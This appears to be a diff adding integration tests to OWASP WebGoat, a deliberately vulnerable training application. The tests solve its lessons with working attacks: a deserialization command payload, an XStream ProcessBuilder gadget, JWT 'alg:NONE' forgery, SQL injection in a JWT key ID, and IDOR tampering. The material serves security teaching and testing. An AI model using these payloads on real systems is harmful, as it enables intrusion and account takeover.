+import java.util.Base64;
+import java.util.HashMap;
+import java.util.Map;
+import javax.xml.bind.DatatypeConverter;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
+import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
+
+public class CryptoIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("Cryptography");
+
+    checkAssignment2();
+    checkAssignment3();
+
+    // Assignment 4
+    try {
+      checkAssignment4();
+    } catch (NoSuchAlgorithmException e) {
+      e.printStackTrace();
+      fail();
+    }
+
+    try {
+      checkAssignmentSigning();
+    } catch (Exception e) {
+      e.printStackTrace();
+      fail();
+    }
+
+    checkAssignmentDefaults();
+
+    checkResults("Cryptography");
+  }
+
+  private void checkAssignment2() {
+
+      String basicEncoding =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/encoding/basic"))
+            .then()
+            .extract()
+            .asString();
+    basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
+    String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
+    String answer_user = decodedString.split(":")[0];
+    String answer_pwd = decodedString.split(":")[1];
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_user", answer_user);
+    params.put("answer_pwd", answer_pwd);
+      checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
+  }
+
+  private void checkAssignment3() {
+    String answer_1 = "databasepassword";
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+      checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
+  }
+
+  private void checkAssignment4() throws NoSuchAlgorithmException {
+
+      String md5Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/hashing/md5"))
+            .then()
+            .extract()
+            .asString();
+
+      String sha256Hash =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/hashing/sha256"))
+            .then()
+            .extract()
+            .asString();
+
+    String answer_1 = "unknown";
+    String answer_2 = "unknown";
+    for (String secret : HashingAssignment.SECRETS) {
+      if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
+        answer_1 = secret;
+      }
+      if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
+        answer_2 = secret;
+      }
+    }
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("answer_pwd1", answer_1);
+    params.put("answer_pwd2", answer_2);
+      checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
+  }
+
+  private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
+
+      String privatePEM =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("crypto/signing/getprivate"))
+            .then()
+            .extract()
+            .asString();
+    PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
+
+    RSAPrivateKey privk = (RSAPrivateKey) privateKey;
+    String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
+    String signature = CryptoUtil.signMessage(modulus, privateKey);
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("modulus", modulus);
+    params.put("signature", signature);
+      checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
+  }
+
+  private void checkAssignmentDefaults() {
+
+    String text =
+        new String(
+            Base64.getDecoder()
+                .decode(
+                    "TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
+                        .getBytes(Charset.forName("UTF-8"))));
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("secretText", text);
+    params.put("secretFileName", "default_secret");
+      checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/DeserializationIntegrationTest.java

@@ -0,0 +1,37 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.io.IOException;
+import java.util.HashMap;
+import java.util.Map;
+import org.dummy.insecure.framework.VulnerableTaskHolder;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
+
+public class DeserializationIntegrationTest extends IntegrationTest {
+
+  private static String OS = System.getProperty("os.name").toLowerCase();
+
+  @Test
+  public void runTests() throws IOException {
+    startLesson("InsecureDeserialization");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+
+    if (OS.indexOf("win") > -1) {
+      params.put(
+          "token",
+          SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
+    } else {
+      params.put(
+          "token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
+    }
+      checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
+
+    checkResults("InsecureDeserialization");
+  }
+}

src/it/java/org/owasp/webgoat/integration/GeneralLessonIntegrationTest.java

@@ -0,0 +1,224 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.Test;
+import org.springframework.util.StringUtils;
+
+public class GeneralLessonIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void httpBasics() {
+    startLesson("HttpBasics");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("person", "goatuser");
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
+
+    params.clear();
+    params.put("answer", "POST");
+    params.put("magic_answer", "33");
+    params.put("magic_num", "4");
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
+
+    params.clear();
+    params.put("answer", "POST");
+    params.put("magic_answer", "33");
+    params.put("magic_num", "33");
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
+
+    checkResults("HttpBasics");
+  }
+
+  @Test
+  public void solveAsOtherUserHttpBasics() {
+    login("steven");
+    startLesson("HttpBasics");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("person", "goatuser");
+      checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
+  }
+
+  @Test
+  public void httpProxies() {
+    startLesson("HttpProxies");
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("x-request-intercepted", "true")
+            .contentType(ContentType.JSON)
+            .get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+
+    checkResults("HttpProxies");
+  }
+
+  @Test
+  public void cia() {
+    startLesson("CIA");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+            + " website.");
+    params.put(
+        "question_1_solution",
+        "Solution 1: By changing the names and emails of one or more users stored in a database.");
+    params.put(
+        "question_2_solution",
+        "Solution 4: By launching a denial of service attack on the servers.");
+    params.put(
+        "question_3_solution",
+        "Solution 2: The systems security is compromised even if only one goal is harmed.");
+      checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
+    checkResults("CIA");
+  }
+
+  @Test
+  public void vulnerableComponents() {
+    if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
+      String solution =
+          "<contact class='dynamic-proxy'>\n"
+              + "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
+              + "  <handler class='java.beans.EventHandler'>\n"
+              + "    <target class='java.lang.ProcessBuilder'>\n"
+              + "      <command>\n"
+              + "        <string>calc.exe</string>\n"
+              + "      </command>\n"
+              + "    </target>\n"
+              + "    <action>start</action>\n"
+              + "  </handler>\n"
+              + "</contact>";
+      startLesson("VulnerableComponents");
+      Map<String, Object> params = new HashMap<>();
+      params.clear();
+      params.put("payload", solution);
+        checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
+      checkResults("VulnerableComponents");
+    }
+  }
+
+  @Test
+  public void insecureLogin() {
+    startLesson("InsecureLogin");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("username", "CaptainJack");
+    params.put("password", "BlackPearl");
+      checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
+    checkResults("InsecureLogin");
+  }
+
+  @Test
+  public void securePasswords() {
+    startLesson("SecurePasswords");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("password", "ajnaeliclm^&&@kjn.");
+      checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
+    checkResults("SecurePasswords");
+
+    startLesson("AuthBypass");
+    params.clear();
+    params.put("secQuestion2", "John");
+    params.put("secQuestion3", "Main");
+    params.put("jsEnabled", "1");
+    params.put("verifyMethod", "SEC_QUESTIONS");
+    params.put("userId", "12309746");
+      checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
+    checkResults("AuthBypass");
+
+    startLesson("HttpProxies");
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("x-request-intercepted", "true")
+            .contentType(ContentType.JSON)
+            .get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+    checkResults("HttpProxies");
+  }
+
+  @Test
+  public void chrome() {
+    startLesson("ChromeDevTools");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("param1", "42");
+    params.put("param2", "24");
+
+      String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("webgoat-requested-by", "dom-xss-vuln")
+            .header("X-Requested-With", "XMLHttpRequest")
+            .formParams(params)
+            .post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("output");
+    String secretNumber = result.substring("phoneHome Response is ".length());
+
+    params.clear();
+    params.put("successMessage", secretNumber);
+      checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
+
+    params.clear();
+    params.put("number", "24");
+    params.put("network_num", "24");
+      checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
+
+    checkResults("ChromeDevTools");
+  }
+
+  @Test
+  public void authByPass() {
+    startLesson("AuthBypass");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("secQuestion2", "John");
+    params.put("secQuestion3", "Main");
+    params.put("jsEnabled", "1");
+    params.put("verifyMethod", "SEC_QUESTIONS");
+    params.put("userId", "12309746");
+      checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
+    checkResults("AuthBypass");
+  }
+
+  @Test
+  public void lessonTemplate() {
+    startLesson("LessonTemplate");
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("param1", "secr37Value");
+    params.put("param2", "Main");
+      checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
+    checkResults("LessonTemplate");
+  }
+}

src/it/java/org/owasp/webgoat/integration/IDORIntegrationTest.java

@@ -0,0 +1,104 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+
+public class IDORIntegrationTest extends IntegrationTest {
+
+  @BeforeEach
+  public void init() {
+    startLesson("IDOR");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testIDORLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 2 - login", this::loginIDOR),
+        dynamicTest("profile", this::profile));
+  }
+
+  @AfterEach
+  public void shutdown() {
+    checkResults("IDOR");
+  }
+
+  private void loginIDOR() {
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("username", "tom");
+    params.put("password", "cat");
+
+      checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
+  }
+
+  private void profile() {
+
+    // View profile - assignment 3a
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("IDOR/profile"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("userId"),
+        CoreMatchers.is("2342384"));
+
+    // Show difference - assignment 3b
+    Map<String, Object> params = new HashMap<>();
+    params.put("attributes", "userId,role");
+      checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
+
+    // View profile another way - assignment 4
+    params.clear();
+    params.put("url", "WebGoat/IDOR/profile/2342384");
+      checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
+
+    // assignment 5a
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("IDOR/profile/2342388"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+
+    // assignment 5b
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .contentType(ContentType.JSON) // part of the lesson
+            .body(
+                "{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+                    + " \"userId\":\"2342388\"}")
+            .put(webGoatUrlConfig.url("IDOR/profile/2342388"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+}

src/it/java/org/owasp/webgoat/integration/IntegrationTest.java

@@ -0,0 +1,256 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static io.restassured.RestAssured.given;
+
+import io.restassured.RestAssured;
+import io.restassured.filter.log.LogDetail;
+import io.restassured.http.ContentType;
+import java.util.Map;
+import lombok.Getter;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.owasp.webgoat.ServerUrlConfig;
+import org.springframework.http.HttpStatus;
+
+public abstract class IntegrationTest {
+
+  protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
+  protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
+
+  @Getter private String webGoatCookie;
+  @Getter private String webWolfCookie;
+  @Getter private final String user = "webgoat";
+
+  @BeforeEach
+  public void login() {
+    login("webgoat");
+  }
+
+  protected void login(String user) {
+    String location =
+        given()
+            .when()
+            .relaxedHTTPSValidation()
+            .formParam("username", user)
+            .formParam("password", "password")
+            .post(webGoatUrlConfig.url("login"))
+            .then()
+            .log()
+            .ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
+            .cookie("JSESSIONID")
+            .statusCode(302)
+            .extract()
+            .header("Location");
+    if (location.endsWith("?error")) {
+      webGoatCookie =
+          RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .formParam("matchingPassword", "password")
+              .formParam("agree", "agree")
+              .post(webGoatUrlConfig.url("register.mvc"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
+    } else {
+      webGoatCookie =
+          given()
+              .when()
+              .relaxedHTTPSValidation()
+              .formParam("username", user)
+              .formParam("password", "password")
+              .post(webGoatUrlConfig.url("login"))
+              .then()
+              .cookie("JSESSIONID")
+              .statusCode(302)
+              .extract()
+              .cookie("JSESSIONID");
+    }
+
+    webWolfCookie =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .formParam("username", user)
+            .formParam("password", "password")
+            .post(webWolfUrlConfig.url("login"))
+            .then()
+            .statusCode(302)
+            .cookie("WEBWOLFSESSION")
+            .extract()
+            .cookie("WEBWOLFSESSION");
+  }
+
+  @AfterEach
+  public void logout() {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .get(webGoatUrlConfig.url("logout"))
+        .then()
+        .statusCode(200);
+  }
+
+  public void startLesson(String lessonName) {
+    startLesson(lessonName, false);
+  }
+
+  public void startLesson(String lessonName, boolean restart) {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
+        .then()
+        .statusCode(200);
+
+    if (restart) {
+      RestAssured.given()
+          .when()
+          .relaxedHTTPSValidation()
+          .cookie("JSESSIONID", getWebGoatCookie())
+          .get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
+          .then()
+          .statusCode(200);
+    }
+  }
+
+  public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .post(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParams(params)
+            .put(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public void checkResults(String lesson) {
+    var result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/lessonoverview.mvc/%s.lesson".formatted(lesson)))
+            .andReturn();
+
+    MatcherAssert.assertThat(
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
+  }
+
+  public void checkResults() {
+    var result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/lessonoverview.mvc"))
+            .andReturn();
+
+    MatcherAssert.assertThat(
+        result.then().statusCode(200).extract().jsonPath().getList("solved"),
+        CoreMatchers.everyItem(CoreMatchers.is(true)));
+  }
+
+  public void checkAssignment(
+      String url, ContentType contentType, String body, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(contentType)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .body(body)
+            .post(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .queryParams(params)
+            .get(url)
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(expectedResult));
+  }
+
+  public String getWebWolfFileServerLocation() {
+    String result =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("file-server-location"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    result = result.replace("%20", " ");
+    return result;
+  }
+
+  public String webGoatServerDirectory() {
+    return RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url("server-directory"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+  }
+
+  public void cleanMailbox() {
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .delete(webWolfUrlConfig.url("mail"))
+        .then()
+        .statusCode(HttpStatus.ACCEPTED.value());
+  }
+}

src/it/java/org/owasp/webgoat/integration/JWTLessonIntegrationTest.java

@@ -0,0 +1,307 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import com.fasterxml.jackson.databind.JsonNode;
+import com.fasterxml.jackson.databind.ObjectMapper;
+import com.fasterxml.jackson.databind.node.ObjectNode;
+import io.jsonwebtoken.Header;
+import io.jsonwebtoken.JwsHeader;
+import io.jsonwebtoken.Jwt;
+import io.jsonwebtoken.JwtException;
+import io.jsonwebtoken.Jwts;
+import io.jsonwebtoken.SignatureAlgorithm;
+import io.jsonwebtoken.impl.TextCodec;
+import io.restassured.RestAssured;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.security.KeyPair;
+import java.security.KeyPairGenerator;
+import java.security.NoSuchAlgorithmException;
+import java.security.interfaces.RSAPublicKey;
+import java.time.Instant;
+import java.util.Base64;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.jose4j.jwk.JsonWebKeySet;
+import org.jose4j.jwk.RsaJsonWebKey;
+import org.junit.jupiter.api.Test;
+import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
+
+public class JWTLessonIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void solveAssignment() throws IOException, NoSuchAlgorithmException {
+    startLesson("JWT");
+
+    decodingToken();
+
+    resetVotes();
+
+    findPassword();
+
+    buyAsTom();
+
+    deleteTomThroughKidClaim();
+
+    deleteTomThroughJkuClaim();
+
+    quiz();
+
+    checkResults("JWT");
+  }
+
+  private String generateToken(String key) {
+    return Jwts.builder()
+        .setIssuer("WebGoat Token Builder")
+        .setAudience("webgoat.org")
+        .setIssuedAt(Calendar.getInstance().getTime())
+        .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+        .setSubject("tom@webgoat.org")
+        .claim("username", "WebGoat")
+        .claim("Email", "tom@webgoat.org")
+        .claim("Role", new String[] {"Manager", "Project Administrator"})
+        .signWith(SignatureAlgorithm.HS256, key)
+        .compact();
+  }
+
+  private String getSecretToken(String token) {
+    for (String key : JWTSecretKeyEndpoint.SECRETS) {
+      try {
+        Jwt jwt = Jwts.parser().setSigningKey(TextCodec.BASE64.encode(key)).parse(token);
+      } catch (JwtException e) {
+        continue;
+      }
+      return TextCodec.BASE64.encode(key);
+    }
+    return null;
+  }
+
+  private void decodingToken() {
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("jwt-encode-user", "user")
+            .post(webGoatUrlConfig.url("JWT/decode"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void findPassword() {
+
+    String accessToken =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("JWT/secret/gettoken"))
+            .then()
+            .extract()
+            .response()
+            .asString();
+
+    String secret = getSecretToken(accessToken);
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .formParam("token", generateToken(secret))
+            .post(webGoatUrlConfig.url("JWT/secret"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void resetVotes() throws IOException {
+    String accessToken =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("JWT/votings/login?user=Tom"))
+            .then()
+            .extract()
+            .cookie("access_token");
+
+    String header = accessToken.substring(0, accessToken.indexOf("."));
+    header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
+
+    String body = accessToken.substring(1 + accessToken.indexOf("."), accessToken.lastIndexOf("."));
+    body = new String(Base64.getUrlDecoder().decode(body.getBytes(Charset.defaultCharset())));
+
+    ObjectMapper mapper = new ObjectMapper();
+    JsonNode headerNode = mapper.readTree(header);
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+
+    JsonNode bodyObject = mapper.readTree(body);
+    bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
+
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
+            .concat(
+                new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
+                    .toString())
+            .concat(".")
+            .replace("=", "");
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .cookie("access_token", replacedToken)
+            .post(webGoatUrlConfig.url("JWT/votings"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void buyAsTom() throws IOException {
+
+    String header =
+        new String(
+            Base64.getUrlDecoder()
+                .decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
+
+    String body =
+        new String(
+            Base64.getUrlDecoder()
+                .decode(
+                    "eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
+                        .getBytes(Charset.defaultCharset())));
+
+    body = body.replace("Jerry", "Tom");
+
+    ObjectMapper mapper = new ObjectMapper();
+    JsonNode headerNode = mapper.readTree(header);
+    headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
+
+    String replacedToken =
+        new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
+            .concat(".")
+            .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
+            .concat(".")
+            .replace("=", "");
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .header("Authorization", "Bearer " + replacedToken)
+            .post(webGoatUrlConfig.url("JWT/refresh/checkout"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void deleteTomThroughKidClaim() {
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(
+        JwsHeader.KEY_ID,
+        "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.HS256, "deletingTom")
+            .compact();
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(webGoatUrlConfig.url("JWT/kid/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void deleteTomThroughJkuClaim() throws NoSuchAlgorithmException {
+    KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA");
+    keyPairGenerator.initialize(2048);
+    KeyPair keyPair = keyPairGenerator.generateKeyPair();
+    var jwks = new JsonWebKeySet(new RsaJsonWebKey((RSAPublicKey) keyPair.getPublic()));
+    RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("WEBWOLFSESSION", getWebWolfCookie())
+        .multiPart("file", "jwks.json", jwks.toJson().getBytes())
+        .post(webWolfUrlConfig.url("fileupload"))
+        .then()
+        .extract()
+        .response()
+        .getBody()
+        .asString();
+
+    Map<String, Object> header = new HashMap();
+    header.put(Header.TYPE, Header.JWT_TYPE);
+    header.put(
